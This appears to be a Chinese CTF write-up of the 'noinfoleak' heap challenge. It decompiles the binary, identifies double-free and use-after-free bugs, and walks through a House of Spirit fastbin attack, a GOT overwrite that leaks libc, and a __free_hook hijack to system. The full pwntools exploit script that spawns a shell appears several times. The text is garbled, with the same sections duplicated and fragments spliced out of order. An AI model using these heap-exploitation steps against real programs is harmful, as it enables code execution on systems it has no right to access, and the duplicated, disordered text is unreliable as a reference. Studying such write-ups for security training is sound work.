UAF
double free
结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f ,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin
got、plt的延迟机制
House of Spirit
[*] '/home/leo/Desktop/xihu/noinfoleak'
Arch: amd64-64-little
RELRO: Partial RELRO //got表可写
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) //随机地址没开
程序逻辑
1、
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}
结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f ,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}
free后没有清空指针,存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。
具体实现
第一步:任意写
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8)) #改fd
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O
第二步:leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步:为所欲为
剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
1、
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}
结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f ,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}
free后没有清空指针,存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。
具体实现
第一步:任意写
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8)) #改fd
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O
第二步:leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步:为所欲为
剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}
结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f ,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}
free后没有清空指针,存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。
具体实现
第一步:任意写
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8)) #改fd
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O
第二步:leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步:为所欲为
剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}
free后没有清空指针,存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。
具体实现
第一步:任意写
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8)) #改fd
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O
第二步:leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步:为所欲为
剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}
free后没有清空指针,存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}
在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞
可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)
利用思路 1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-8-31 10:23
被Snowleo编辑
,原因:
上传的附件: